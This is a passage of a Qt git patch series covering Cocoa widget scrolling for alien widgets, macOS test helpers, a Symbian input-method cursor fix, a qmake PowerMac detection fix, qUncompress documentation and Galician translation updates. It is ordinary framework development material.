to help factor our code into one function. + const bool scrollChildren = !qscrollRect.isValid(); + + if (!q->updatesEnabled()) { + // We are told not to update anything on q at this point. So unless + // we are supposed to scroll children, we bail out early: + if (!scrollChildren || q->children().isEmpty()) + return; + } - qt_event_request_window_change(q); #ifdef QT_MAC_USE_COCOA QMacCocoaAutoReleasePool pool; +#else + // We're not sure what the following call is supposed to achive + // but until we see what it breaks, we don't bring it into the + // Cocoa port: + qt_event_request_window_change(q); #endif - if(!valid_rect) { // scroll children - QPoint pd(dx, dy); - QWidgetList moved; - QObjectList chldrn = q->children(); - for(int i = 0; i < chldrn.size(); i++) { //first move all children - QObject *obj = chldrn.at(i); - if(obj->isWidgetType()) { - QWidget *w = (QWidget*)obj; - if(!w->isWindow()) { - w->data->crect = QRect(w->pos() + pd, w->size()); - if (w->testAttribute(Qt::WA_WState_Created)) { + // First move all native children. Alien children will indirectly be + // moved when the parent is scrolled. All directly or indirectly moved + // children will receive a move event before the function call returns. + QWidgetList movedChildren; + if (scrollChildren) { + QObjectList children = q->children(); + + for (int i=0; i(obj)) { + if (!w->isWindow()) { + w->data->crect = QRect(w->pos() + scrollDelta, w->size()); #ifndef QT_MAC_USE_COCOA + if (w->testAttribute(Qt::WA_WState_Created)) { HIRect bounds = CGRectMake(w->data->crect.x(), w->data->crect.y(), w->data->crect.width(), w->data->crect.height()); HIViewRef hiview = qt_mac_nativeview_for(w); @@ -4593,83 +4705,148 @@ void QWidgetPrivate::scroll_sys(int dx, int dy, const QRect &r) HIViewSetFrame(hiview, &bounds); if (opaque) HIViewSetDrawingEnabled(hiview, true); + } #else - [qt_mac_nativeview_for(w) - setFrame:NSMakeRect(w->data->crect.x(), w->data->crect.y(), - w->data->crect.width(), w->data->crect.height())]; -#endif + if (NSView *view = qt_mac_nativeview_for(w)) { + // INVARIANT: w is not alien + [view setFrame:NSMakeRect( + w->data->crect.x(), w->data->crect.y(), + w->data->crect.width(), w->data->crect.height())]; } - moved.append(w); +#endif + movedChildren.append(w); } } } - //now send move events (do not do this in the above loop, breaks QAquaFocusWidget) - for(int i = 0; i < moved.size(); i++) { - QWidget *w = moved.at(i); - QMoveEvent e(w->pos(), w->pos() - pd); - QApplication::sendEvent(w, &e); - } } - if (!q->testAttribute(Qt::WA_WState_Created) || !q->isVisible()) - return; + if (q->testAttribute(Qt::WA_WState_Created) && q->isVisible()) { + // Scroll q itself according to the qscrollRect, and + // call update on any exposed areas so that they get redrawn: - OSViewRef view = qt_mac_nativeview_for(q); #ifndef QT_MAC_USE_COCOA - HIRect scrollrect = CGRectMake(r.x(), r.y(), r.width(), r.height()); - OSStatus err = _HIViewScrollRectWithOptions(view, valid_rect ? &scrollrect : 0, dx, dy, kHIViewScrollRectAdjustInvalid); - if (err) { - // The only parameter that can go wrong, is the rect. - qWarning("QWidget::scroll: Your rectangle was too big for the widget, clipping rect"); - scrollrect = CGRectMake(qMax(r.x(), 0), qMax(r.y(), 0), - qMin(r.width(), q->width()), qMin(r.height(), q->height())); - _HIViewScrollRectWithOptions(view, valid_rect ? &scrollrect : 0, dx, dy, kHIViewScrollRectAdjustInvalid); - } + OSViewRef view = qt_mac_nativeview_for(q); + HIRect scrollrect = CGRectMake(qscrollRect.x(), qscrollRect.y(), qscrollRect.width(), qscrollRect.height()); + OSStatus err = _HIViewScrollRectWithOptions(view, qscrollRect.isValid() ? &scrollrect : 0, dx, dy, kHIViewScrollRectAdjustInvalid); + if (err) { + // The only parameter that can go wrong, is the rect. + qWarning("QWidget::scroll: Your rectangle was too big for the widget, clipping rect"); + scrollrect = CGRectMake(qMax(qscrollRect.x(), 0), qMax(qscrollRect.y(), 0), + qMin(qscrollRect.width(), q->width()), qMin(qscrollRect.height(), q->height())); + _HIViewScrollRectWithOptions(view, qscrollRect.isValid() ? &scrollrect : 0, dx, dy, kHIViewScrollRectAdjustInvalid); + } #else - NSRect scrollRect = valid_rect ? NSMakeRect(r.x(), r.y(), r.width(), r.height()) - : NSMakeRect(0, 0, q->width(), q->height()); + QWidget *nativeWidget = isAlien ? q->nativeParentWidget() : q; + if (!nativeWidget) + return; + OSViewRef view = qt_mac_nativeview_for(nativeWidget); + if (!view) + return; - // calc the updateRect - NSRect deltaXRect = { {0, 0}, {0, 0} }; - NSRect deltaYRect = { {0, 0}, {0, 0} }; - if (dy != 0) { - deltaYRect.size.width = scrollRect.size.width; - if (dy > 0) { - deltaYRect.size.height = dy; - } else { - deltaYRect.size.height = -dy; - deltaYRect.origin.y = scrollRect.size.height + dy; + // Scroll the whole widget instead if qscrollRect is not valid: + QRect validScrollRect = qscrollRect.isValid() ? qscrollRect : QRect(0, 0, q->width(), q->height()); + + if (isAlien) { + // Since q is alien, we need to translate the scroll rect: + QPoint widgetTopLeftInsideNative = nativeWidget->mapFromGlobal(q->mapToGlobal(QPoint())); + QPoint widgetBottomRightInsideNative = nativeWidget->mapFromGlobal(q->mapToGlobal(q->rect().bottomRight())); + QPoint scrollTopLeftInsideNative = nativeWidget->mapFromGlobal(q->mapToGlobal(validScrollRect.topLeft())); + QPoint scrollBottomRightInsideNative = nativeWidget->mapFromGlobal(q->mapToGlobal(validScrollRect.bottomRight())); + + // Adjust the scroll rect to the location as seen from the native parent: + validScrollRect.moveTo(scrollTopLeftInsideNative); + + // Ensure that that the destination rect of the + // scroll doesn't draw outside of q's geometry: + if (dy != 0) { + if (scrollTopLeftInsideNative.y() + dy < widgetTopLeftInsideNative.y()) { + // Scrolling outside top + validScrollRect.setTop(widgetTopLeftInsideNative.y() - dy); + } else if (scrollBottomRightInsideNative.y() + dy > widgetBottomRightInsideNative.y()) { + // Scrolling outside bottom + validScrollRect.setBottom(widgetBottomRightInsideNative.y() - dy); + } + } + + if (dx != 0) { + if (scrollTopLeftInsideNative.x() + dx < widgetTopLeftInsideNative.x()) { + // Scrolling outside left edge + validScrollRect.setLeft(widgetTopLeftInsideNative.x() - dx); + } else if (scrollBottomRightInsideNative.x() + dx > widgetBottomRightInsideNative.x()) { + // Scrolling outside right edge + validScrollRect.setRight(widgetBottomRightInsideNative.x() - dx); + } + } } - } - if (dx != 0) { - deltaXRect.size.height = scrollRect.size.height; - if (dx > 0) { - deltaXRect.size.width = dx; - } else { - deltaXRect.size.width = -dx; - deltaXRect.origin.x = scrollRect.size.width + dx; + + NSRect nsscrollRect = NSMakeRect( + validScrollRect.x(), validScrollRect.y(), + validScrollRect.width(), validScrollRect.height()); + + // Calculate the rectangles that needs to be redrawn + // after the scroll. This will be source rect minus destination rect: + + NSRect deltaXRect = { {0, 0}, {0, 0} }; + NSRect deltaYRect = { {0, 0}, {0, 0} }; + + if (dy != 0) { + deltaYRect.size.width = nsscrollRect.size.width; + deltaYRect.origin.x = nsscrollRect.origin.x; + if (dy > 0) { + deltaYRect.size.height = dy; + deltaYRect.origin.y = nsscrollRect.origin.y; + } else { + deltaYRect.size.height = -dy; + deltaYRect.origin.y = nsscrollRect.origin.y + nsscrollRect.size.height + dy; + } } - } - // ### Scroll the dirty regions as well, the following is not correct. - QRegion displayRegion = r.isNull() ? dirtyOnWidget : (dirtyOnWidget & r); - const QVector &rects = dirtyOnWidget.rects(); - const QVector::const_iterator end = rects.end(); - QVector::const_iterator it = rects.begin(); - while (it != end) { - const QRect rect = *it; - const NSRect dirtyRect = NSMakeRect(rect.x() + dx, rect.y() + dy, - rect.width(), rect.height()); - [view setNeedsDisplayInRect:dirtyRect]; - ++it; - } + if (dx != 0) { + deltaXRect.size.height = nsscrollRect.size.height; + deltaXRect.origin.y = nsscrollRect.origin.y; + if (dx > 0) { + deltaXRect.size.width = dx; + deltaXRect.origin.x = nsscrollRect.origin.x; + } else { + deltaXRect.size.width = -dx; + deltaXRect.origin.x = nsscrollRect.origin.x + nsscrollRect.size.width + dx; + } + } - NSSize deltaSize = NSMakeSize(dx, dy); - [view scrollRect:scrollRect by:deltaSize]; - [view setNeedsDisplayInRect:deltaXRect]; - [view setNeedsDisplayInRect:deltaYRect]; + NSSize deltaSize = NSMakeSize(dx, dy); + [view scrollRect:nsscrollRect by:deltaSize]; + [view setNeedsDisplayInRect:deltaXRect]; + [view setNeedsDisplayInRect:deltaYRect]; + + // Some areas inside the scroll rect might have been marked as dirty from before, which + // means that they are scheduled to be redrawn. But as we now scroll, those dirty rects + // should also move along to ensure that q receives repaints on the correct places. + // Since some of the dirty rects might lay outside, or only intersect with, the scroll + // rect, the old calls to setNeedsDisplay still makes sense. + // NB: Using [view translateRectsNeedingDisplayInRect:nsscrollRect by:deltaSize] have + // so far not been proven fruitful to solve this problem. + const QVector &rects = dirtyOnWidget.rects(); + const QVector::const_iterator end = rects.end(); + QVector::const_iterator it = rects.begin(); + while (it != end) { + QRect qdirtyRect = *it; + if (isAlien) { + const QPoint dirtyTopLeftInsideNative = nativeWidget->mapFromGlobal(q->mapToGlobal(qdirtyRect.topLeft())); + qdirtyRect.moveTo(dirtyTopLeftInsideNative); + } + const NSRect nsdirtyRect = NSMakeRect(qdirtyRect.x() + dx, qdirtyRect.y() + dy, qdirtyRect.width(), qdirtyRect.height()); + [view setNeedsDisplayInRect:nsdirtyRect]; + ++it; + } #endif // QT_MAC_USE_COCOA + } + + for (int i=0; ipos(), w->pos() - scrollDelta); + QApplication::sendEvent(w, &e); + } } int QWidget::metric(PaintDeviceMetric m) const @@ -4815,7 +4992,7 @@ void QWidgetPrivate::registerTouchWindow() #ifndef QT_MAC_USE_COCOA // Needs implementation! #else - NSView *view = qt_mac_nativeview_for(q); + NSView *view = qt_mac_effectiveview_for(q); [view setAcceptsTouchEvents:YES]; #endif #endif @@ -4837,7 +5014,7 @@ void QWidgetPrivate::setMask_sys(const QRegion ®ion) } else { syncCocoaMask(); } - + topLevelAt_cache = 0; #endif } @@ -4915,7 +5092,7 @@ void QWidgetPrivate::finishCocoaMaskSetup() [window setOpaque:(extra->imageMask == 0)]; [window invalidateShadow]; } - qt_mac_set_needs_display(q, QRegion()); + macSetNeedsDisplay(QRegion()); } #endif diff --git a/src/gui/kernel/qwidget_p.h b/src/gui/kernel/qwidget_p.h index 4b35238..8c29946 100644 --- a/src/gui/kernel/qwidget_p.h +++ b/src/gui/kernel/qwidget_p.h @@ -359,7 +359,8 @@ public: DrawInvisible = 0x08, DontSubtractOpaqueChildren = 0x10, DontSetCompositionMode = 0x20, - DontDrawOpaqueChildren = 0x40 + DontDrawOpaqueChildren = 0x40, + DontDrawNativeChildren = 0x80 }; enum CloseMode { @@ -791,7 +792,6 @@ public: #elif defined(Q_WS_MAC) // <--------------------------------------------------------- MAC // This is new stuff uint needWindowChange : 1; - uint hasAlienChildren : 1; // Each wiget keeps a list of all its child and grandchild OpenGL widgets. // This list is used to update the gl context whenever a parent and a granparent @@ -822,6 +822,7 @@ public: void macUpdateIgnoreMouseEvents(); void macUpdateMetalAttribute(); void macUpdateIsOpaque(); + void macSetNeedsDisplay(QRegion region); void setEnabled_helper_sys(bool enable); bool isRealWindow() const; void adjustWithinMaxAndMinSize(int &w, int &h); diff --git a/src/gui/painting/qwindowsurface_raster.cpp b/src/gui/painting/qwindowsurface_raster.cpp index ae73d7d..f81c8ab 100644 --- a/src/gui/painting/qwindowsurface_raster.cpp +++ b/src/gui/painting/qwindowsurface_raster.cpp @@ -282,6 +282,7 @@ void QRasterWindowSurface::flush(QWidget *widget, const QRegion &rgn, const QPoi CGrafPtr port = GetWindowPort(qt_mac_window_for(widget)); QDBeginCGContext(port, &context); #else + QMacCocoaAutoReleasePool pool; extern CGContextRef qt_mac_graphicsContextFor(QWidget *); CGContextRef context = qt_mac_graphicsContextFor(widget); #endif diff --git a/src/gui/widgets/qcocoamenu_mac.mm b/src/gui/widgets/qcocoamenu_mac.mm index b670186..e41e675 100644 --- a/src/gui/widgets/qcocoamenu_mac.mm +++ b/src/gui/widgets/qcocoamenu_mac.mm @@ -47,6 +47,7 @@ #include #include #include +#include #include @@ -60,6 +61,7 @@ QT_FORWARD_DECLARE_CLASS(QEvent) QT_BEGIN_NAMESPACE extern bool qt_sendSpontaneousEvent(QObject*, QEvent*); //qapplication.cpp +extern NSString *qt_mac_removePrivateUnicode(NSString* string); QT_END_NAMESPACE QT_USE_NAMESPACE @@ -157,7 +159,6 @@ QT_USE_NAMESPACE // (i.e., fire the menu action). NSMenuItem *whichItem; // Change the private unicode keys to the ones used in setting the "Key Equivalents" - extern NSString *qt_mac_removePrivateUnicode(NSString* string); NSString *characters = qt_mac_removePrivateUnicode([event characters]); if ([self hasShortcut:menu forKey:characters diff --git a/src/gui/widgets/qfocusframe.cpp b/src/gui/widgets/qfocusframe.cpp index 4f20bce0..dd508fb 100644 --- a/src/gui/widgets/qfocusframe.cpp +++ b/src/gui/widgets/qfocusframe.cpp @@ -85,6 +85,9 @@ void QFocusFramePrivate::update() void QFocusFramePrivate::updateSize() { Q_Q(QFocusFrame); + if (!widget) + return; + int vmargin = q->style()->pixelMetric(QStyle::PM_FocusFrameVMargin), hmargin = q->style()->pixelMetric(QStyle::PM_FocusFrameHMargin); QPoint pos(widget->x(), widget->y()); diff --git a/src/gui/widgets/qmainwindow.cpp b/src/gui/widgets/qmainwindow.cpp index da902d5..2550ee4 100644 --- a/src/gui/widgets/qmainwindow.cpp +++ b/src/gui/widgets/qmainwindow.cpp @@ -1516,11 +1516,6 @@ void QMainWindow::setUnifiedTitleAndToolBarOnMac(bool set) if (!isWindow() || d->useHIToolBar == set || QSysInfo::MacintoshVersion < QSysInfo::MV_10_3) return; - // ### Disable when using alien widgets - if (testAttribute(Qt::WA_NativeWindow) == false) { - return; - } - d->useHIToolBar = set; createWinId(); // We need the hiview for down below. diff --git a/src/gui/widgets/qmainwindowlayout_mac.mm b/src/gui/widgets/qmainwindowlayout_mac.mm index 9e26423..84cf3eb 100644 --- a/src/gui/widgets/qmainwindowlayout_mac.mm +++ b/src/gui/widgets/qmainwindowlayout_mac.mm @@ -355,7 +355,11 @@ void QMainWindowLayout::updateHIToolBarStatus() // Move everything out of the HIToolbar into the main toolbar. while (!qtoolbarsInUnifiedToolbarList.isEmpty()) { // Should shrink the list by one every time. - layoutState.mainWindow->addToolBar(Qt::TopToolBarArea, qtoolbarsInUnifiedToolbarList.first()); + QToolBar *toolbar = qtoolbarsInUnifiedToolbarList.first(); + layoutState.mainWindow->addToolBar(Qt::TopToolBarArea, toolbar); +#if defined(QT_MAC_USE_COCOA) + toolbar->d_func()->isInUnifiedToolbar = false; +#endif } macWindowToolbarSet(qt_mac_window_for(layoutState.mainWindow), 0); } else { @@ -363,7 +367,8 @@ void QMainWindowLayout::updateHIToolBarStatus() for (int i = 0; i < toolbars.size(); ++i) { QToolBar *toolbar = toolbars.at(i); if (toolBarArea(toolbar) == Qt::TopToolBarArea) { - removeWidget(toolbar); // Do this here, because we are in an in-between state. + // Do this here, because we are in an in-between state. + removeWidget(toolbar); layoutState.mainWindow->addToolBar(Qt::TopToolBarArea, toolbar); } } @@ -387,10 +392,20 @@ void QMainWindowLayout::insertIntoMacToolbar(QToolBar *before, QToolBar *toolbar if (toolbar == 0) return; +#if defined(QT_MAC_USE_COCOA) + // toolbar will now become native (if not allready) since we need + // an nsview for it inside the corresponding NSToolbarItem. + // Setting isInUnifiedToolbar will (among other things) stop alien + // siblings from becoming native when this happends since the toolbar + // will not overlap with other children of the QMainWindow. NB: Switching + // unified toolbar off after this stage is not supported, as this means + // that either the menubar must be alien again, or the sibling must + // be backed by an nsview to protect from overlapping issues: + toolbar->d_func()->isInUnifiedToolbar = true; +#endif QToolBarLayout *toolbarLayout = static_cast(toolbar->layout()); - toolbarSaveState.insert(toolbar, ToolBarSaveState(toolbar->isMovable(), - toolbar->maximumSize())); + toolbarSaveState.insert(toolbar, ToolBarSaveState(toolbar->isMovable(), toolbar->maximumSize())); if (toolbarLayout->hasExpandFlag() == false) toolbar->setMaximumSize(toolbar->sizeHint()); @@ -399,8 +414,8 @@ void QMainWindowLayout::insertIntoMacToolbar(QToolBar *before, QToolBar *toolbar toolbarLayout->setUsePopupMenu(true); // Make the toolbar a child of the mainwindow to avoid creating a window. toolbar->setParent(layoutState.mainWindow); - toolbar->createWinId(); // Now create the OSViewRef. + toolbar->winId(); // Now create the OSViewRef. layoutState.mainWindow->createWinId(); OSWindowRef window = qt_mac_window_for(layoutState.mainWindow); diff --git a/tests/auto/qwidget/tst_qwidget.cpp b/tests/auto/qwidget/tst_qwidget.cpp index d230f2c..a518470 100644 --- a/tests/auto/qwidget/tst_qwidget.cpp +++ b/tests/auto/qwidget/tst_qwidget.cpp @@ -3852,29 +3852,6 @@ void tst_QWidget::testDeletionInEventHandlers() #ifdef Q_WS_MAC -bool testAndRelease(const HIViewRef view) -{ -// qDebug() << CFGetRetainCount(view); - if (CFGetRetainCount(view) != 2) - return false; - CFRelease(view); - CFRelease(view); - return true; -} - -typedef QPair WidgetViewPair; - -WidgetViewPair createAndRetain(QWidget * const parent = 0) -{ - QWidget * const widget = new QWidget(parent); - const HIViewRef view = (HIViewRef)widget->winId(); - // Retain twice so we can safely call CFGetRetaintCount even if the retain count - // is off by one because of a double release. - CFRetain(view); - CFRetain(view); - return qMakePair(widget, view); -} - /* Test that retaining and releasing the HIView returned by QWidget::winId() works even if the widget itself is deleted. @@ -4751,9 +4728,6 @@ void tst_QWidget::update() QRegion expectedVisible = QRegion(w.rect()) - child.visibleRegion().translated(childOffset); QCOMPARE(w.visibleRegion(), expectedVisible); -#ifdef QT_MAC_USE_COCOA - QEXPECT_FAIL(0, "Cocoa compositor paints the content view", Continue); -#endif QCOMPARE(w.paintedRegion, expectedVisible); #ifdef QT_MAC_USE_COCOA QEXPECT_FAIL(0, "Cocoa compositor says to paint this.", Continue); @@ -4803,14 +4777,8 @@ void tst_QWidget::update() & sibling.visibleRegion().translated(siblingOffset)); QCOMPARE(w.numPaintEvents, 1); -#ifdef QT_MAC_USE_COCOA - QEXPECT_FAIL(0, "Cocoa compositor paints the content view", Continue); -#endif QCOMPARE(w.paintedRegion, w.visibleRegion() & sibling.visibleRegion().translated(siblingOffset)); -#ifdef QT_MAC_USE_COCOA - QEXPECT_FAIL(0, "Cocoa compositor paints the content view", Continue); -#endif QCOMPARE(w.paintedRegion, (w.visibleRegion() - child.visibleRegion().translated(childOffset)) & sibling.visibleRegion().translated(siblingOffset)); @@ -4833,7 +4801,8 @@ void tst_QWidget::update() QCOMPARE(sibling.paintedRegion, sibling.visibleRegion()); #ifdef QT_MAC_USE_COCOA - QEXPECT_FAIL(0, "Cocoa compositor paints child and sibling", Continue); + if (child.internalWinId()) // child is native + QEXPECT_FAIL(0, "Cocoa compositor paints child and sibling", Continue); #endif QCOMPARE(child.numPaintEvents, 0); QCOMPARE(child.visibleRegion(), @@ -5464,6 +5433,7 @@ public: rect.width(), rect.height()); \ QCOMPARE(pixmap.size(), rect.size()); \ QPixmap expectedPixmap(pixmap); /* ensure equal formats */ \ + expectedPixmap.detach(); \ expectedPixmap.fill(color); \ QImage image = pixmap.toImage(); \ uint alphaCorrection = image.format() == QImage::Format_RGB32 ? 0xff000000 : 0; \ @@ -5510,9 +5480,6 @@ void tst_QWidget::moveChild() QTest::qWait(30); const QPoint tlwOffset = parent.geometry().topLeft(); -#ifdef QT_MAC_USE_COCOA - QEXPECT_FAIL(0, "Cocoa compositor paints the entire content view, even when opaque", Continue); -#endif QTRY_COMPARE(parent.r, QRegion(parent.rect()) - child.geometry()); QTRY_COMPARE(child.r, QRegion(child.rect())); VERIFY_COLOR(child.geometry().translated(tlwOffset), diff --git a/tests/auto/qwidget/tst_qwidget_mac_helpers.h b/tests/auto/qwidget/tst_qwidget_mac_helpers.h index f310aef..b341971 100644 --- a/tests/auto/qwidget/tst_qwidget_mac_helpers.h +++ b/tests/auto/qwidget/tst_qwidget_mac_helpers.h @@ -39,9 +39,20 @@ ** ****************************************************************************/ #include -class QWidget; +#include +#include #pragma once // Yeah, it's deprecated in general, but it's standard practive for Mac OS X. QString nativeWindowTitle(QWidget *widget, Qt::WindowState state); bool nativeWindowModified(QWidget *widget); + +#ifndef QT_MAC_USE_COCOA +typedef QPair WidgetViewPair; +bool testAndRelease(const HIViewRef view); +WidgetViewPair createAndRetain(QWidget * const parent = 0); +#else +typedef QPair WidgetViewPair; +bool testAndRelease(const WId); +WidgetViewPair createAndRetain(QWidget * const parent = 0); +#endif diff --git a/tests/auto/qwidget/tst_qwidget_mac_helpers.mm b/tests/auto/qwidget/tst_qwidget_mac_helpers.mm index 0572a4c..e1f23b0 100644 --- a/tests/auto/qwidget/tst_qwidget_mac_helpers.mm +++ b/tests/auto/qwidget/tst_qwidget_mac_helpers.mm @@ -72,3 +72,47 @@ bool nativeWindowModified(QWidget *widget) return [qt_mac_window_for(widget) isDocumentEdited]; #endif } + +#ifndef QT_MAC_USE_COCOA +bool testAndRelease(const HIViewRef view) +{ +// qDebug() << CFGetRetainCount(view); + if (CFGetRetainCount(view) != 2) + return false; + CFRelease(view); + CFRelease(view); + return true; +} + +WidgetViewPair createAndRetain(QWidget * const parent) +{ + QWidget * const widget = new QWidget(parent); + const HIViewRef view = (HIViewRef)widget->winId(); + // Retain twice so we can safely call CFGetRetaintCount even if the retain count + // is off by one because of a double release. + CFRetain(view); + CFRetain(view); + return qMakePair(widget, view); +} +#else +bool testAndRelease(const WId view) +{ + if ([id(view) retainCount] != 2) + return false; + [id(view) release]; + [id(view) release]; + return true; +} + +WidgetViewPair createAndRetain(QWidget * const parent) +{ + QWidget * const widget = new QWidget(parent); + const WId view = widget->winId(); + // Retain twice so we can safely call retainCount even if the retain count + // is off by one because of a double release. + [id(view) retain]; + [id(view) retain]; + return qMakePair(widget, view); +} +#endif + -- cgit v0.12 From 1b6656ea26d2a82a8763e8f3759b0ac683fca57a Mon Sep 17 00:00:00 2001 From: Jeremy Katz Date: Mon, 17 Jan 2011 14:37:17 +0100 Subject: Implementation of QNetworkProxyFactory::systemProxyForQuery() for Symbian This implementation replaces the default do-nothing version, querying the device's commsdat for appropriate entries. Task-number: QTBUG-13857 Reviewed by: Jeremy Katz et al. --- dist/changes-4.7.2 | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/dist/changes-4.7.2 b/dist/changes-4.7.2 index d443d88..0d93052 100644 --- a/dist/changes-4.7.2 +++ b/dist/changes-4.7.2 @@ -133,6 +133,10 @@ Qt for Symbian * [QTBUG-11436] Added a MediaObject property which allows the client to specify which Internet Access Point should be used for streaming. + - QNetworkProxyFactory + * [QTBUG-13857] Added systemProxyForQuery() for Symbian, allowing + network proxies configured on the device to be used by applications. + Qt for Embedded Linux --------------------- -- cgit v0.12 From 81351f2c6f9a939e4c34cb3be6280d396c21941f Mon Sep 17 00:00:00 2001 From: Miikka Heikkinen Date: Mon, 17 Jan 2011 15:44:44 +0200 Subject: Fix one character displacement for cursor in line edits The variable m_inlinePosition was not updated when m_preeditString was cleared in QCoeFepInputContext. This resulted in cursor displaying up one character beyond where it logically should have been when using HW Qwerty keyboard on E7 and similar devices. Task-number: QTBUG-16238 Reviewed-by: axis --- src/gui/inputmethod/qcoefepinputcontext_s60.cpp | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/gui/inputmethod/qcoefepinputcontext_s60.cpp b/src/gui/inputmethod/qcoefepinputcontext_s60.cpp index ff199b1..1bef64d 100644 --- a/src/gui/inputmethod/qcoefepinputcontext_s60.cpp +++ b/src/gui/inputmethod/qcoefepinputcontext_s60.cpp @@ -706,6 +706,7 @@ void QCoeFepInputContext::CancelFepInlineEdit() QInputMethodEvent event(QLatin1String(""), attributes); event.setCommitString(QLatin1String(""), 0, 0); m_preeditString.clear(); + m_inlinePosition = 0; sendEvent(event); } @@ -853,6 +854,7 @@ void QCoeFepInputContext::commitCurrentString(bool cancelFepTransaction) QInputMethodEvent event(QLatin1String(""), attributes); event.setCommitString(m_preeditString, 0, 0); m_preeditString.clear(); + m_inlinePosition = 0; sendEvent(event); m_hasTempPreeditString = false; -- cgit v0.12 From 500b76e801bf82d1a473641a3746b3d5adab5beb Mon Sep 17 00:00:00 2001 From: Konstantin Tokarev Date: Mon, 17 Jan 2011 15:14:56 +0100 Subject: don't misdetect powermac host systems when determining target arch Task-number: QTBUG-6150 Merge-request: 2549 Reviewed-by: Oswald Buddenhagen --- mkspecs/features/mac/default_post.prf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/mkspecs/features/mac/default_post.prf b/mkspecs/features/mac/default_post.prf index 4999762..273094d 100644 --- a/mkspecs/features/mac/default_post.prf +++ b/mkspecs/features/mac/default_post.prf @@ -7,7 +7,7 @@ load(default_post) # PowerPC-based systems. Note that this logic assumes that Qt has been # configured with an architecture that is usable on the system. qt:!isEmpty(QT_CONFIG) { - contains(QMAKE_HOST.arch, ppc) { + contains(QMAKE_HOST.arch, ppc)|contains(QMAKE_HOST.arch, "Power Macintosh") { !contains(QT_CONFIG, ppc64):contains(QT_CONFIG, ppc):CONFIG += ppc contains(QT_CONFIG, ppc64):!contains(QT_CONFIG, ppc):CONFIG += ppc64 } else { -- cgit v0.12 From 14f908687edd09664bc7909ef7a0bdd071456402 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 17 Jan 2011 15:32:06 +0100 Subject: Doc: Clarified the use of qUncompress(). Task-number: QTBUG-16671 --- src/corelib/tools/qbytearray.cpp | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/src/corelib/tools/qbytearray.cpp b/src/corelib/tools/qbytearray.cpp index b1bac9d..568293d 100644 --- a/src/corelib/tools/qbytearray.cpp +++ b/src/corelib/tools/qbytearray.cpp @@ -492,7 +492,7 @@ QByteArray qCompress(const uchar* data, int nbytes, int compressionLevel) #endif /*! - \fn QByteArray qUncompress(const QByteArray& data) + \fn QByteArray qUncompress(const QByteArray &data) \relates QByteArray @@ -506,10 +506,10 @@ QByteArray qCompress(const uchar* data, int nbytes, int compressionLevel) feature was added. \bold{Note:} If you want to use this function to uncompress external - data compressed using zlib, you first need to prepend four bytes to the - byte array that contain the expected length (as an unsigned integer) - of the uncompressed data encoded in big-endian order (most significant - byte first). + data that was compressed using zlib, you first need to prepend a four + byte header to the byte array containing the data. The header must + contain the expected length (in bytes) of the uncompressed data, + expressed as an unsigned, big-endian, 32-bit integer. \sa qCompress() */ -- cgit v0.12 From 7a7c36d80c1f84ca493c29bf8d4e0bd447740b8d Mon Sep 17 00:00:00 2001 From: marce villarino Date: Mon, 17 Jan 2011 15:44:44 +0100 Subject: Updates to Galician localization Merge-request: 1024 Reviewed-by: Oswald Buddenhagen --- translations/qt_gl.ts | 2862 ++++++++++++++++++++++---------------------- translations/qt_help_gl.ts | 320 +++++ 2 files changed, 1749 insertions(+), 1433 deletions(-) create mode 100644 translations/qt_help_gl.ts diff --git a/translations/qt_gl.ts b/translations/qt_gl.ts index 1f3e02e..23e71c2 100644 --- a/translations/qt_gl.ts +++ b/translations/qt_gl.ts @@ -5,7 +5,7 @@ CloseButton Close Tab - Pechar a lingüeta + Pechar a lapela @@ -51,30 +51,6 @@ - QApplication - - QT_LAYOUT_DIRECTION - Translate this string to the string 'LTR' in left-to-right languages or to 'RTL' in right-to-left languages (such as Hebrew and Arabic) to get proper widget layout. - LTR - - - Activate - Activar - - - Activates the program's main window - Activa a fiestra principal do programa - - - Executable '%1' requires Qt %2, found Qt %3. - O executábel «%1» require de Qt %2, e achouse Qt %3. - - - Incompatible Qt Library Error - Erro de bibliotecas Qt incompatíbeis - - - Phonon:: Notifications @@ -134,7 +110,7 @@ máis preferencia ou está configurado especificamente para este fluxo.</html Warning: You do not seem to have the base GStreamer plugins installed. All audio and video support has been disabled - Aviso: Non semella ter instaladas as extensións básicas de GStreamer. + Aviso: Non semella ter instalados os complementos básicos de GStreamer. Desactivouse todo o soporte de son e vídeo @@ -155,7 +131,7 @@ Comprobe a instalación de GStreamer e verifique que ten instalado libgstreamer- Plugin codec installation failed for codec: %0 - Fallou a instalación da extensión dun códec: %0 + Fallou a instalación do complemento dun códec: %0 A required codec is missing. You need to install the following codec(s) to play this content: %0 @@ -172,7 +148,7 @@ reproducir este contido: %0 Could not locate media source. - Non foi posíbel localizar a orixe do medio. + Non foi posíbel atopar a orixe do medio. Could not open audio device. The device is already in use. @@ -223,7 +199,7 @@ reproducir este contido: %0 Path not found - Non se atopou a rota + Non se atopou a ruta In use @@ -348,6 +324,10 @@ reproducir este contido: %0 Playback complete Completouse a reprodución + + Download error + + Phonon::MMF::AbstractVideoPlayer @@ -467,6 +447,10 @@ reproducir este contido: %0 Error opening source: media type could not be determined Erro ao abrir a fonte: non foi posíbel determinar o tipo de medio + + Failed to set requested IAP + + Phonon::MMF::StereoWidening @@ -752,7 +736,7 @@ reproducir este contido: %0 Find Directory - Procurar un cartafol + Buscar un cartafol Directories @@ -772,7 +756,7 @@ File not found. Check path and filename. %1 Non se atopou o ficheiro. -Verifique a rota e o nome do ficheiro. +Verifique a ruta e o nome do ficheiro. All Files (*.*) @@ -936,31 +920,31 @@ para Contains commands to manipulate the window - Contén ordes para manipular a fiestra + Contén ordes para manipular a xanela Puts a minimized window back to normal - Volta unha fiestra minimizada ao tamaño normal + Volta unha xanela minimizada ao tamaño normal Moves the window out of the way - Vota a un lado a fiestra + Vota a un lado a xanela Puts a maximized window back to normal - Volta unha fiestra maximizada ao tamaño normal + Volta unha xanela maximizada ao tamaño normal Makes the window full screen - Pon a fiestra a pantalla completa + Pon a xanela a pantalla completa Closes the window - Pecha a fiestra + Pecha a xanela Displays the name of the window and contains controls to manipulate it - Mostra o nome da fiestra e contén controles para manipulala + Mostra o nome da xanela e contén controles para manipulala @@ -1064,176 +1048,6 @@ para - QHttp - - Connection refused - Rexeitouse a conexión - - - Connection closed - Pechouse a conexión - - - Proxy requires authentication - O proxy require autenticación - - - Host requires authentication - 